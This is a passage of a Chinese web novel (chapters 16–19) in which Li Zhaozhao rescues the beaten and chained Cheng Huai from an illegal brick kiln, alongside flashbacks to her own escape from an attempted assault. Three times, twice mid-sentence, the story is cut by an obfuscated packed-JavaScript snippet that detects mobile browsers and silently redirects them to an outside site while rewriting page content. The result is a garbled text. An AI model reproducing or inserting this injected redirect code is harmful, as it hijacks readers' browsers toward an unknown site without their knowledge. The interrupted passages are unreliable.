“快!快!大家用力跑,千万不要回头。”程淮急促低喊。 就在这时,陈阿牛因为腿伤渐渐落在后头,程淮使劲拽着他往前跑,陈阿牛眼看自己要被追上,连忙道:“程大哥,你快走,不要管我”。 程淮猛地停下脚步,毫不犹豫地转身,扑上去拽住后面快要追上来的人。 “跑!”他低吼一声。 陈阿牛旁边的两个人继续架住他往前跑,边跑边对程淮道:“程淮,坚持住,我们一定会找人来救你的。” 下一瞬,几名守卫的棍棒已重重落在程淮身上,力道沉猛,把他打得几乎跪倒在地。血腥味瞬间弥漫在喉咙里,他却死死咬牙,双手死死拽住守卫的衣襟,将他们往地上死命一扯。 “别回头!”他用尽全身力气吼出这句话。 其他守卫继续去追,剩下的两个壮汉将程淮锁起来,往回拖着走。 关在发了霉味的杂役房里,鞭子一下一下抽在他身上,火辣的疼痛撕裂皮肉。 “就是他!是他带头的!” 癞子头缩在角落,颤声喊着。 于是,看守的人将所有的怒火全都倾泻到程淮身上。看守不让他昏过去,每一次他快要断气时,都会用冷水泼醒,再继续打。 自那之后,他被单独关在一间黑暗的窑洞里,手脚被铁链锁住。每天送来的饭菜里只有一点点发霉的馍,后来干脆连馍也不给。几天过去,他的嘴唇干裂,喉咙像火烧般疼,腹中空荡得仿佛被掏空。 饥饿和疼痛交织,眼前的光一点点暗下去。他的身体蜷缩成一团,胸口起伏得越来越微弱。可即便如此,他眼底依旧残留着一丝冷光。 他用尽最后一丝力气,低低地笑了,那笑声干涩沙哑:“大概这次真的要死了吧,真没劲啊,这一生......” 16. 住院 黎朝朝想直接出发去寻程淮,被村长拦住了:“你一个女娃娃咋个去嘛,你等等我,我们先去把王丽押到村口再说,等会我喊几个人跟你一起去。” 黎朝朝虽然着急,也没有办法,想着自己单打独斗也不行,便跟村长几人一起去程家。 等几人到了程家,发现屋内早就人去楼空,只剩下被踹翻的椅子还有地上的绳子。 “糟了,他们肯定还有同伙。”黎朝朝想起早上的那个跟王丽在一起的男人,把那人的外貌和穿着描述给村长后,村长在这里等警察来,派了几个人去围堵王丽他们。 村长又组织人手一起去寻找程淮,但是路途遥远,加上黎朝朝只知道荒吴山,说不出具体位置,毕竟荒吴山很大,没有足够人手跟着她去寻人,每个人家里有自己的农活要做,没有几人愿意,有五个壮汉愿意,但是寻了两日后不见踪迹,也各自返回家里了,黎朝朝给这几名壮汉给了些辛苦费。 黎朝朝又返回警局等消息,但是警局没有抓到人,也没有证据,镇上警力不足,派人搜了两天就不了了之,黎朝朝心急如焚,只能拿出另外的钱,去就近的镇上雇了十名壮汉,按照天数算钱给他们,让他们帮忙一起寻找程淮。 深山里,雾气弥漫,林木高耸,鸟雀惊飞。 黎朝朝跟其他人从山脚下,一路往上寻去,从上午寻到晚上七点多,在半山腰时,忽然听见不远处传来断断续续的声音。 “救……救命……”声音虚弱低沉,夹杂在风声里,若不是她耳力好,几乎要被淹没。 黎朝朝循声而去,在一处乱石堆下,发现三个满身血污的年轻男子——正是先前逃出来的陈阿牛和另外两个少年。 两个少年已经昏迷,陈阿牛稍微还有点意识,靠在石壁上,脸色苍白,眼神涣散,却还在勉力呼喊。 黎朝朝连忙上前,蹲下身问:“弟弟,你发生什么事情了,你怎么伤成这样?” 陈阿牛见有人靠近,眼神中闪过一丝希冀,喉咙沙哑地挤出声音:“我叫陈阿牛……被卖到了黑窑洞……我们逃出来时……晚上迷了路……从高出摔下来了……姐姐,救救我们” 黎朝朝一愣,急切问道:“你是从窑洞逃出来的?那你认不认识,一个叫程淮?” 陈阿牛急切地喘息,咳出一口血,断断续续道:“程大哥,没有逃出来……被抓回去了……他们折磨他……恐怕撑不了多久……” 黎朝朝一惊,赶忙喊来其他正在空地休息的壮汉,吩咐三个人将陈阿牛他们背下山,顺便去报警,其他人跟黎朝朝继续往前走,根据陈阿牛的描述,去找窑洞的位置。 几人快步穿过林子,行了快三个时辰,踩着厚厚的落叶,脚步声被山风掩去。绕过两块巨大的青石后,果然见到一处破败的土窑口,昏暗中透出微弱的火光。 带头的汉子示意众人屏息潜伏,低声道:“有人看守。” 果然,窑口外靠着两名守卫,正有一搭没一搭地说着粗话。黎朝朝心口揪紧,手心全是冷汗。 其中一个汉子拎起石头,悄声道:“待会儿我扔石头引开他们,你们趁机冲进去。” 黎朝朝紧紧抓住木棍,声音压得极低:“大家小心行事,无论如何,必须把他带出来。” 片刻后,石子破空声传来,守卫果然被吸引,骂骂咧咧朝另一侧走去。 几人立马往更深处走去,越往里走光线越暗。 窑洞前火光摇曳,空气中弥漫着烧焦的土腥味与浓烈的烟尘。昏黄的光映照下,只见一群人衣衫褴褛、骨瘦如柴,被逼着抡锤搬土、推车烧砖。 有人赤脚踩在滚烫的窑边,脚底溃烂流脓;有人力竭倒下,却立刻被棍棒抽起,强迫继续干活,惨叫声、呵斥声此起彼伏,场景如同炼狱。 黎朝朝心头狠狠一震,手指攥得发白。随行的汉子们也红了眼,低声咒骂:“畜生……简直比牲口都不如!” 黎朝朝强忍泪意,眼睛死死扫视那群人,却迟迟没有看见程淮的身影。她心口焦灼,悄声拉住一个同伴:“得想办法问清楚,他到底关在哪。” 几人借着夜色潜到窑洞后头,那里有几个被打得奄奄一息的工人靠在石壁旁歇息。 黎朝朝蹲下身,递了一点水过去,低声急问:“请问……这里有没有一个叫程淮的人?大概十七岁出头,个子很高……” 那工人眼神一震,沙哑着喉咙:“你……是来救我们的吗?程......啥?我不知道他具体叫啥名字,我只知道有一个兄弟因为出逃被关回来了,好像姓程……被关在最里面的土室,已经几天没出来了……不知道是死是活......” 黎朝朝心头一揪,连声追问:“往哪里走?怎么才能进去?” 工人抬起颤抖的手,指向窑洞深处:“沿着左侧石廊……有个半塌的石门……他就在那里面。” 黎朝朝立刻起身,对身边的几人急声道:“走!在那边!” 又转身对那工人道:“大哥,别担心,我们已经报警了,你们肯定会得救的。” 几人屏住呼吸,顺着阴湿的石廊摸索前行。道路曲折,四周窑火的轰鸣声和劳作的呼喊声被渐渐隔绝,取而代之的是压抑的静寂。 他们绕过几个岔口,终于在最深处找到那处半塌的石门。 门外长满青苔,铁锁已经锈迹斑斑,隐隐透出潮湿腐朽的气味。 黎朝朝眼眶已经泛红,她不敢想发生了什么事情。 —— 程淮不知道被关在这里几天几夜了。 他蜷缩在角落里,铁链紧勒着手腕,皮肤被磨破,火辣辣的痛感一下一下提醒他——自己不过是个被世界抛弃的人。 他低下头,眼神空洞。心底升起的,不仅是疼痛,还有刺骨的厌弃。 为什么要活到现在? 他觉得自己肮脏、无用,这个世界上没有人会伸手拉他,没有人会在乎他的生死,自己不过是一粒尘埃,湮没在黑暗里,心口的绝望一点点蔓延,直到吞噬了所有力气。 ——或许,就该死在这里。 死了也好,至少不用再挣扎,不用再面对这无尽的孤独和痛苦。 他缓缓垂下眼帘,静静等着死亡来临。 忽然,一道光透进半塌的门缝隙。紧接着,一道身影出现在门口。 他眯起眼,心里先是一惊,却又以为是自己的幻觉,他自嘲地想:“我果然是要死了吗……” 黎朝朝推开沉重的木门,一股潮湿霉味混着血腥气扑面而来。 借着昏暗的火光,黎朝朝看见窑里有一个人影被铁链锁在石桩上,浑身是伤,头发凌乱,脸庞被尘土和血痕遮掩。 “程淮?!”黎朝朝失声唤道,眼泪几乎要涌出眼眶。 程淮微微一震,缓缓抬起头。 灯火下,映出一双阴沉却倔强的眼睛,他的唇苍白开裂,嗓音沙哑说不出话来。 黎朝朝快步扑上前,伸手去摸铁链,声音急切:“你有没有事?哪里受伤了?” 同行的汉子们也一齐上前,用铁器和石头砸链子,窑里顿时响起沉闷的金属碰撞声。程淮强撑着没有倒下,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549333|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光定定落在黎朝朝身上,眼底一抹难以言说的光亮。 然而,就在链子快被砸断的时候,外头忽然传来一阵急促的脚步声——守卫们似乎察觉了动静,正往窑口冲来! “有人!”外头传来嘶吼声,脚步声急促而杂乱,越来越近。 “快!”带头的汉子低声喝道,一边拼命砸着铁链。终于,“咔嚓”一声,铁链断开了一截。程淮身子一软,根本站不稳,黎朝朝连忙伸手扶住他,声音颤抖却坚定:“我扶着你,走!” 话音未落,窑门被人猛地踹开,四五个守卫提着棍棒冲了进来。昏暗的火光下,刀光棍影映得人心胆俱寒。 “拦住他们!”带头汉子吼了一声,挥起木棍猛地迎上去,和守卫撞在一处。几人立刻扭打在一起,窑里响起棍击与怒骂声。 黎朝朝紧紧搀着程淮,想往外走,却被两个守卫拦住。她眼一横,咬牙抡起手里的木棍狠狠劈下去,正中一人的肩膀。对方痛呼一声,踉跄倒退。另一守卫怒吼着扑来,眼看木棒就要砸向她的头顶。 “滚开!”程淮尽管伤痕累累,却硬是提起最后的力气,用肩膀猛地撞了过去,将那守卫撞得摔倒在地。 黎朝朝心头一酸,立刻架住程淮继续往外冲。 窑口处,几个汉子已经拼得鲜血直流,但还是硬生生压住了大部分守卫的攻势,扯着嗓子喊:“快带人走!我们断后!” 黎朝朝泪眼模糊,咬牙点头,架着程淮跌跌撞撞地冲出窑口。山风扑面而来,黑夜里枝叶摇曳,她几乎是拖着程淮在乱石间狂奔。 身后传来厮杀声与喊杀声,火把光亮很快追逐而来。程淮虚弱得几乎走不动,却在咬牙低声:“别管……我.....你自己……” “闭嘴!”黎朝朝声音颤抖,却坚硬如铁,“我来就是为了救你!死也不会丢下你!” 说罢,她一把将程淮的手臂更紧地搭在自己肩头,咬紧牙关,拼尽全力朝着深山更幽暗的地方逃去。 林间的夜风呼啸,乱石、荆棘像利爪一般刮在他们身上,程淮几乎是被拖着奔跑,呼吸急促而杂乱。就在前方山路微微开阔时,一束刺眼的手电光突然从树丛中扫来。 “站住!警察!”伴随呼喊声,一队人影从密林里冲出来,制服整齐,枪口微微指向前方。 黎朝朝本能地一紧,心跳骤然加快,但见手电光下的警察认真而有序,她缓缓松了一口气,抱着程淮减慢速度:“……是……快……快去救人”。 警察们迅速控制住山路上的几个守卫,那些曾追捕他们的人被制服在地。带队警察举着手电,用冷静而沉稳的声音问:“你们没事吧?山上还有多少人?” 黎朝朝低声回答,指着黑窑洞的那条路:“窑洞里大概还有五十个人左右,他们守卫大概三十个人左右。” 警察迅速调度,一边让几名同伴回头去控制窑洞内其他被压榨的人。 半夜过后,一行人才下了山,黎朝朝跟程淮被警车送去了医院。 程淮意识朦胧,感觉自己依旧被困于那漆黑的地窖中,全身时而冷冽,时而燥热,不由自主地颤抖着。 突然,一股温暖的气息从掌心蔓延开来,渐渐安抚了他的躁动,随后他再次沉沉地陷入了梦乡。 “医生,他怎么还没有醒来?” “不用担心,他是受伤后引起的发高烧,今天晚上注意观察,有什么事情跟值班的护士说就行。” “谢谢医生。” 看着躺在病床上的程淮,黎朝朝忽然就想起前世自己第一次住院的时候。 17. 相遇 那一年,是高一第二学期的倒数几天,黎朝朝正在准备期末考试,舅舅打来电话,说外婆去世了。 外婆葬礼结束后,舅舅要将老房子卖了,说是看着会伤心,而黎朝朝联系不上在外面打工的妈妈,大姨热情地想邀请黎朝朝一起住。但是大姨在海外定居,且有一个德国男朋友,语言不通,人生地不熟始终不方便。 而二姨跟大舅舅定居在中海市,也有各自的家庭,实在是不方便接手黎朝朝,只有二舅舅定居在本地县城。 可是二舅舅家里的二舅妈凶悍泼辣,从前就看不惯黎朝朝,二舅舅又是个妻管严,于是两个姨妈和两个舅舅商量决定,先让黎朝朝暂时住在大舅妈的一个亲戚家里。 这个亲戚家在省城,本来黎朝朝不想去。 临行前,二舅舅是这样劝她的:“朝朝啊,你也看到了,舅舅有三个孩子要养,压力很大,你表哥表姐又不让人省心,我没有办法带你住在我们家,现在舅舅欠了工程款,现在老房子刚好赶上国家拆迁,所以舅舅也是没有办法。” “二舅舅,我可以自己一个人住学校的。” “那怎么成呢,马上放寒假了,寒假的时间这么长,你一个女孩子不安全,放心,我已经托人联系你妈妈了,等你妈妈有信了,她肯定来找你,就算她不来,你二舅舅把债还完了,也会来找你的。” 就这样,寒假过后,黎朝朝就去了省城,住在舅妈的亲戚家里。 那家人是四世同堂,平日里比较和睦,对黎朝朝也比较客气,舅舅过意不去,特意放了一笔生活费在这家人手里。 只是,让黎朝朝有些苦恼的,是这家人里面有个独生子叫吴羊,平日里吃喝赌博,不学无术,在城里读职高,还喜欢看毛片。 那日,天气有些阴沉,是林阿姨的哥哥结婚,她们一家都要出去吃席,林阿姨邀请她一起去,黎朝朝不好意思去白吃白喝,就说要做作业,林阿姨也就不再坚持。 不过,林阿姨跟吴叔叔临走前还是再次邀请她:“朝朝,我们估计很晚才回来,我们这里的习俗都是要吃晚饭还有宵夜的,你要不还是跟我们一起去吧?” “是啊,你一个崽崽在屋里冷锅冷灶多难受。”王婆婆也在旁边搭话。 “不用了,婆婆,我最近受凉了,也吃不了多少,还不如在家里做两套卷子。” 林阿姨不再说什么了,给她熬了一锅粥还有炒了两个小菜放在厨房,交代完才出门,出门前,又对黎朝朝说:“朝朝,吴羊不知道又去哪里疯了,如果他回来,你记得跟他说一声让他晚上到天际酒店来吃席!” 林阿姨走后,黎朝朝在屋里做作业,不知过了多久,天色渐黑,屋外传来门锁转动的声音,吴羊回来了,在门外扯着嗓子喊妈。 黎朝朝出门跟他说了林阿姨交代的话后,就回到房间里继续做作业。 作业做到一半,隐隐听到客厅里传来低沉的呻吟声和杂乱的电流声。黎朝朝心中一阵慌乱,记忆里吴羊,平日里不学无术,却爱看那些下流东西。 她本来不想出去,只要紧闭房门就没事,但是作业做到一半,自己很想上厕所,憋尿憋了一阵,实在是憋不住了,于是悄悄打开房门,想看看那人还在不在。 透过半掩的门缝,只见吴羊坐在沙发上,屏幕亮光映在他脸上,眼神淫邪,手正不安分地在手机屏幕上滑动。 黎朝朝心里一寒,直觉告诉她,绝对不能让他发现自己在屋里。 她轻轻关上房门,却没注意到门把手发出一声轻响。 吴羊猛地抬头,眼睛一亮,露出阴冷笑意,竟然起身向房门快速走来。 “黎朝朝......出来陪我玩玩呗?”他笑得无比猥琐,漫不经心地敲着门。 黎朝朝颤着嗓音,强装镇定道:“你......你做什么,你爸妈他们马上就回来了!!你要是敢乱来,我会报警的。” 吴牛在外面阴阴笑了笑,边笑边踹房门:“那我就更不能放过你了,先让我爽一把,坐牢能叛几年,到时候我就说你故意不去吃席,在家勾引我,到时候看谁说不清楚,反正我是不怕......”说完更用力踹着房门。 黎朝朝将书桌旁的椅子挪到门口,作为临时阻挡,她一边拉开房间窗户,一边深呼吸,努力让自己冷静。 趁着他开门的一瞬,黎朝朝猛地从二楼窗户跳了出去,跌落在院子里的草地上,疼痛让她头晕目眩,但她拼尽全力,死命往前跑,一刻不敢停留,直到听不到那少年的吼叫声。 她一路跌跌撞撞,穿过几条小巷,脚上沾满了泥水,衣角也被灌木划出几道细长的裂痕,不知道跑了多久,她只觉得自己的肚子饿得咕咕作响,喉咙干得像沙子磨过,连喘气都带着刺痛。 傍晚的街灯下,偶尔路过的行人投来一撇,但没有人上前,因为她整个人脏兮兮,狼狈不堪。 就在她快要绝望的时候,前方出现了一个高大的身影。 这是一个年轻又英俊的男人,穿着黑色的风衣,步伐稳健而从容。 路灯的光投在他的脸上,却掩不住一股温柔的气息。 他身后还有一名穿着西装的助理,手里拿着文件包。 年轻男人注意到了她,蹲下问她:“你怎么了?” 黎朝朝摇摇头,却无法说话,身体因奔跑和惊吓而颤抖。 男人伸手扶住她的肩膀,温度稳稳传到她的心底,让她稍稍平静了一些。 男人递过一瓶水,她几乎是抓着瓶子一口气喝干,喉咙里涌出的凉意让她眼泪差点掉下来。 黎朝朝的身体仍在微微颤抖,她只觉全身疲惫重。他注意到她的动作异常,还有左腿流出的血,轻声问:“哪里疼吗?手脚没事吧?” 黎朝朝摇摇头,却没察觉自己左腿下方的衣角被细长的铁丝划破,鲜血顺着皮肤渗出,滴落在鞋面上。 助理看了一眼,对着年轻男人道:“程总,这个小姑娘的腿好像受伤了。” 闻言,男人蹲下身,伸手撩起黎朝朝的裤脚,顿时被血染红的布料映入眼帘:“伤口不小,不能再走了。” 黎朝朝这才低头看去,心中一阵惊恐——自己居然一直没注意到自己流了这么多血,恐惧和疼痛让她忍不住抽泣。 他看向助理:“小林,你现在不用跟我去宴会,你开我的车,把她送去医院。” 助理有些着急道:“程总,那您怎么办?跟秦总这次的见面不能迟到?” “急什么,我可以打车去。” “可是,现在街上车很少,您能打得到车吗?要不我先送你去,然后再送小姑娘?” “没事,我喊顾峰派人过来接我。”说完他拿起手机拨电话。 助理打开车门,轻声示意黎朝朝上车。 黎朝朝踉踉跄跄地走过去,上车前,回头跟男人说了声谢谢。 街灯下,雨后的路面反射出淡淡光晕,淡淡的灯光洒在他的脸上,轮廓分明,眉眼温和,对着黎朝朝笑了笑。 黎朝朝心头一紧,连呼吸都不自觉地停顿了一瞬。 她低下头,脸颊微微发热,坐在副驾后,忍不住偷偷在后视镜里看了一眼,穿着黑色风衣的男人仍在路边,语气温和地与手机那方交谈,神态从容自若。 出院期间,助理来看了自己两回,助理也是个很好的哥哥,他每一回都提到自己上司:“小妹妹,我们家老板特地交代要我过来看看你,你好好养伤,有啥需要跟哥哥我说,我替你处理好。” 住院时,助理哥哥替她跑前跑后,缴纳住院费用,带她去检查,出了很多力,每次她跟助理哥哥说谢谢,助理都笑:“别这么客气,我不过是慷他人之慨,费用是报的老板账上,还有,我可是拿着我老板的薪水来看你的,你都不知道,他一天是个工作狂魔,跟着他每天上下跑,我有多累,刚好我带薪来照顾你,可以让我摸鱼,休息休息。所以,咱俩是互帮互助,懂不!别跟我客气!” “那个哥哥......他......”黎朝朝有些犹豫,想开口问些什么。 助理笑了笑,故意逗她:“你说我们老板啊?别看他长得年轻又好看,特招你们这些小姑娘喜欢,但是他其实比你大了十几岁哟,还有,他可是你们小姑娘中的万人迷!” 黎朝朝暗道好笑,也就不好再开口了。 后来,助理哥哥问她发生了什么,黎朝朝始终没有说,这件事情的严重程度,是可以报警的,但黎朝朝没有报警。可林阿姨跟吴叔叔知晓此事后,提了很多东西来看她,还跪在她面前求她不要报警,否则吴羊留了案底以后就不好考学了,她们跪完后,还将吴羊打掉了半条命。 一个月以来,黎朝朝住在别人家里,受到林阿姨和吴叔叔的照顾,每次有什么好吃的,林阿姨从来不偏私,有吴羊的一份,就有她的一份,吴叔叔从国外出差回来也会特地给她带礼物,他们对她的好,是真心的。 只是,父母之爱子,计之则深远,黎朝朝其实早就想到这一层了,所以并没有一开始就去报警。 吴羊很不甘心,扬言要报仇,一定要整死黎朝朝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549334|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎朝朝倒不是害怕,只是怕因为自己,让别人的家里鸡犬不宁,所以带着自己仅剩的一百元,去省城车站,想买车票回外婆家。 外婆的家不在了,但是黎朝朝还想外婆,她想去看看外婆的坟。 车站的人来来往往,黎朝朝站在人群中很渺小。 她背着书包,站在窗台前问:“姐姐,去临河镇的车票多少钱?” “四十八!” “可以用学生票吗?” “学生四十。” 就这样,黎朝朝揣着十元钱,坐在候车室等车,离发车还有三个小时,自己早就饥肠辘辘,可是自己还剩六十元钱,不能花了,得留着钱为后面做打算。 “你到哪里去?”突然,一道温和的男声响起。 黎朝朝抬头,看见一个身穿深色西装的男人正站在自己三步开外,神情温和,目光落在自己身上,带着几分关切。 “回家……”黎朝朝大吃一惊,这是那日救她的男人。 “你家在哪里?”那人耐着性子,温和地看着她。 “临......临河镇。”黎朝朝有些结巴。 男人重复了一遍:“临河镇,临河镇离这里有些远。”又问她,“吃东西了吗?” 黎朝朝抿了抿嘴,不想让他看出自己的窘迫,于是小声道:“吃了。” 男人看了看外面的天气,微笑着说道:“天气冷,一个人在外面要吃饱点,走吧,吃过了也再吃点。” 黎朝朝想拒绝,嘴唇却动弹不得。 男人领她来到车站旁边的一家小饭店,门口的灯光温暖,窗户里透出的蒸汽带着诱人的香味。 “走远了怕等下错过发车时间,我们就在这里吃,这一家的味道很不错,来,坐这里。”男人指了指靠窗的座位,然后贴心拉开椅子,让黎朝朝坐下。他自己坐在对面,动作不多,却自然而稳重,让人觉得安心。 黎朝朝低着头,手里攥着钱包,却不敢说话。 男人轻轻摆弄菜单,手指停留在几道热腾腾的家常菜上,眼神淡然而温柔。 黎朝朝终于小声开口:“……大哥哥,我叫黎朝朝,你叫什么名字?上次还没有来得及谢谢你!” 男人看她一眼,笑了笑:“我叫程淮,不用客气,我只是恰好遇到了而已。” 黎朝朝莫名觉得这个名字有些耳熟,但是一时想不起来。 “程淮哥哥,我请你吧!” 程淮看了她一眼,嘴角微微上扬:“好”。随后,他低头点了几道菜:汤面、蒸蛋、青菜,还有一份红烧肉。 菜上桌后,热气腾腾,香味弥漫。 程淮先拿起她的碗,给她盛了一碗汤,眼神平静而温和:“先喝点汤,暖暖身子。” 黎朝朝接过碗,汤的热度透过手心传入身体,让她的心稍稍平静下来。 整个用餐过程中,程淮几乎不多说话,只是偶尔递给她餐具,或者轻轻调整菜盘的位置,让她吃得方便些。 黎朝朝看他吃得很少,于是低声问:“程淮哥哥……饭菜不合你胃口吗?” 程淮只是微微摇头,笑了笑:“饭菜味道很不错,我之前喝太多水了,所以有些吃不下,你多吃点,不然我们就亏了。” 等吃完时,黎朝朝想去结账。服务员说:“程先生在我们这里充了会员,我们是直接扣他卡上的余额,不用付钱的。” 程淮笑了笑:“看来这次时机不对,你只能下次请我吃饭了。” 车临行前,程淮递给她一个口袋,里面装着些牛奶和零食:“黎朝朝,拿着路上吃!饿了的时候要好好吃饭,你现在正是长身体的时候。” “谢谢哥哥!” “嗯,自己一个人在路上,要注意安全。”程淮贴心地叮嘱着。 等大巴车开动后,黎朝朝口渴想喝水,翻开塑料口袋,里面有一个粉色的钱包,打开钱包里面有一叠百元大钞,起码有两千元,里面还有一小张纸条,纸条上写着:“钱拿着路上用,一个人多吃点,对自己好点。” 似乎是想到了黎朝朝会说感谢的话,又在纸条后面写着:“不必客气,如果遇到问题,给这个号码打电话134174xxxx” 黎朝朝不喜欢麻烦别人,但是她记下了那个号码,因为要还钱。 也就是这一笔钱,让黎朝朝度过了最灰暗的那个寒假。 后来直到开学前,资助者打来的钱,黎朝朝才想起,为什么程淮这个名字这么熟悉了,因为资助自己的好心人,就叫程淮。 18. 守护 医院走廊。 程淮躺在病床上,浑身上下到处都是伤口。 他时而昏迷,时而在痛苦中睁开眼睛,眼前的景象总是模糊一片。 每一次睁眼,他都能看到一个模糊的身影在床边,弯着腰给他用棉签擦伤口、掖被角等。 “我……”他嗓音沙哑,喉咙像被火灼烧。 黎朝朝握住他的手,温和道:“别说话,免得牵扯到伤口。” 程淮明明痛得要死,却在心底生出一种奇怪的感动——原来,即便自己被打得遍体鳞伤,还是有人在守着自己,不离不弃。 他也想伸手去回抓,可身体根本动不了。 程淮住了半个月的院。 与此同时,警方在某个会所里找到了王丽,以拐卖罪将她逮捕。 黎朝朝找到她时,浓妆艳抹的王丽已经被两名警员控制,看到黎朝朝,神色震惊。 王丽气得牙痒痒:“是你,是你,你这女人,我跟你无冤无仇,你干什么要多管闲事?” 黎朝朝冷冷看着她,将一叠打印好的文件拍在桌上:“怪你不该动程淮。把房子的地契,交出来。” “什么?地契?城里那套房子是我的,你要我房子做什么?”王丽似有些不解。 “我要老房子的地契。” 王丽笑了笑,还是不懂:“真是不懂你,要老房子地契做什么?哦?莫非是替那小杂种要的?对了,他确实很想要那村里的破房子,因为无处可去,所以我让他往东他不往西,可惜了,他以为我会去城里后,就把老房子留给他,实在是太天真了!” “你以为没人知道你干的那些事?王丽——你当年嫁给程宇华之前,还有一个老公吧?你们没有离婚,所以没有跟程淮爸爸扯证,那你把他爸爸的抚恤金拿了,你猜,我能不能替程淮起诉你??” 王丽脸色微变,慌乱中抬手整理头发,嘴硬道:“我不懂你在说什么。” 黎朝朝悄悄靠近王丽:“还有,他爸爸怎么死的,你心里应该比我清楚,我觉得,警察可能也感兴趣。到时候,你不仅要把钱全部还回来,还得背上一个诈骗和谋杀的罪名。你觉得,多坐点牢好,还是把老房子的地契交出来好?” 空气瞬间安静下来,王丽不可置信地看着她:“你......你......”。 黎朝朝目光有些凉:“别妄想继续霸占不属于你的东西。把地契交出来,否则,王丽,你这一辈子都别想安生。” 女人手指颤抖,咬着牙,脸色青白交替:“老房子地契在南坪市西岸区长宁街道45号,我梳妆台的抽屉里!” 黎朝朝伸手接过,表面神情淡漠,心里却长长吐出一口气。 拿到想要的答案后,她转身要走。 王丽喊住了她,犹豫问道:“等等,你......你为什么只要地契,还是那个破房子的地契,你明明......”可以要更多东西的。 黎朝朝没有回头,继续往前走,边走边道:“不是我的东西,我一个也不要,该是我的,我绝不让别人拿走!!” 黎朝朝按照王丽给的地址,拿到了地契,回去接程淮出院。 黎朝朝问他:“我们先回程家村吗?” 程淮摇摇头:“我......要先去学校,课业落下了太多。” 黎朝朝没有拦着,毕竟学业为重。 送了程淮去学校后,黎朝朝拿着地契回到村里,天色已经微暗,村里各家各户开始升起袅袅炊烟。 她一走进村口,就被村长、花婶和其他几个好心村民拦住。 隔着老远,花婶大声喊着霜霜。 黎朝朝一时没有反应过来。 霜霜是哪个?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549335|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她左右看了看,也没有其他人,忽然想起来原主叫李霜儿。 所以,花婶喜欢喊她霜霜,眼下也是在喊自己。 等她走近后,程村长问她:“霜儿,程淮怎么样了?” “哎呀,霜霜,程淮听说被拐卖了?警察来做笔录,都给我们吓死了,没出什么事情吧?”花婶拉着黎朝朝,十分担忧地问她。 “哎!!这黑心肠的王丽,没想到竟然敢卖人。”另一个村民附和道。 “对啊,要不是最近两周一直下雨,我们村长还准备组织村民去看你们嘞!” 几个人七嘴八舌地说着自己的想法,眼里满是好奇和担忧。 黎朝朝心口一暖,含笑摇头道:“没事的,程淮伤好了,去学校了。” 几句话一出口,村民们才松了口气,纷纷点头,叮嘱她要好好照料,别累坏自己。 花婶见她脸色疲惫,关切道:“你一个女孩子跑上跑下不容易,快回去休息一下,等下别做晚饭,我给你端饭菜来。” 黎朝朝点点头,轻声笑着:“谢谢花婶,我刚好等会也有事跟您说。” 晚间,果然花婶端饭来了。 “花婶,是这样的,现在王丽她们搬走了,把老房子作为补偿留给了程淮,但是程淮刚受伤了,他一个人住我不放心。” 花婶听到这里,连忙唉声叹气道:“淮娃子是个命苦的,哎,霜霜你反正一个人在这里,干脆去跟他做个伴,还可以照顾他。” 黎朝朝心中有些感动:“谢谢花婶,我刚好就是这个意思。” 花婶也是个爽快人:“中!那我喊大姐把这剩下的房租退你。” “不用了,花婶,谢谢你们一直以来的照顾,不用退了,也没有多少钱。” 花婶见状,也不再坚持,只想着以后一定多照顾一下这姐弟俩。 19. 等你 黎朝朝推开程家房子的院门时,映入眼帘的是一片狼藉。 最近家里没人住,院子里开始长了杂草。 屋内的情况更糟,房间许久没有仔细打理,潮湿阴冷,墙角爬了些青苔和霉斑,空气里弥漫着一股陈旧的味道。 客厅里的旧桌子上积满灰尘,厨房里破锅裂碗随意散放,案板上还有些发黑的残渣。 实在是惨不忍睹。 黎朝朝无语凝噎:“真不知道这王丽是怎么住下去的。” 感慨完,她还是挽起袖子,拿起扫帚和抹布,开始动手整理。 她先从院子入手,把杂草除掉,柴火重新码放整齐。 接着将破旧的竹椅搬到一边,把空地扫得干干净净,露出平整的石板地。又到厨房把锅碗全部洗净晾干。 然后,她用竹帘子隔开一角,整理出一个可以储存米面粮油的地方。 黎朝朝推开一间屋子时,心头一紧,这里面有程淮的书本,看来是他的房间。 这间屋子很小很破,却打扫得格外干净,床上铺着一床薄薄的被子,上面打着几个细密的补丁,颜色已经洗得发白。虽然简陋,却叠得整整齐齐,干净得看不出一点污渍。 她深吸一口气,挽起袖子,又继续打扫。 先把屋子里的灰尘扫干净,把潮湿的床板擦拭一遍,又把破旧的窗纸撕下,然后去村上找人换了新的窗户玻璃。 随后,她把那床又薄又破的被子扔掉。她特意拿出自己从集市上买来的厚实新被褥,把买来的床单洗干净,晾晒后,再铺上去,又在床头放了一个柔软的靠枕,整个床散发着洗衣粉和阳光的味道。 